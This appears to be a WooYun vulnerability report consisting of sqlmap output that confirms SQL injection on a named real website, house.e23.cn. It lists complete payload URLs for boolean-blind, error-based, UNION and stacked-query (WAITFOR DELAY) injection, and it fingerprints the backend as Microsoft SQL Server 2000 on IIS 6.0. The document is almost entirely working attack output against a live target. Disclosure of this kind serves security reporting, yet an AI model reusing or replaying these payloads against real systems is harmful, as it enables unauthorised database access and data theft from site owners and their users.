WooYun.org

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 38 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 1970=1970 AND 'VTdD'='VTdD
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' AND 6604=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6604=6604) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113))) AND 'TKQT'='TKQT
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113)+CHAR(102)+CHAR(65)+CHAR(112)+CHAR(97)+CHAR(99)+CHAR(80)+CHAR(87)+CHAR(107)+CHAR(88)+CHAR(67)+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113),NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: http://house.e23.cn:80/lp/pic_more.asp?contentid=2784&type=huxing'; WAITFOR DELAY '0:0:10'--
---
[12:26:39] [INFO] testing Microsoft SQL Server
[12:26:41] [INFO] confirming Microsoft SQL Server
[12:26:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000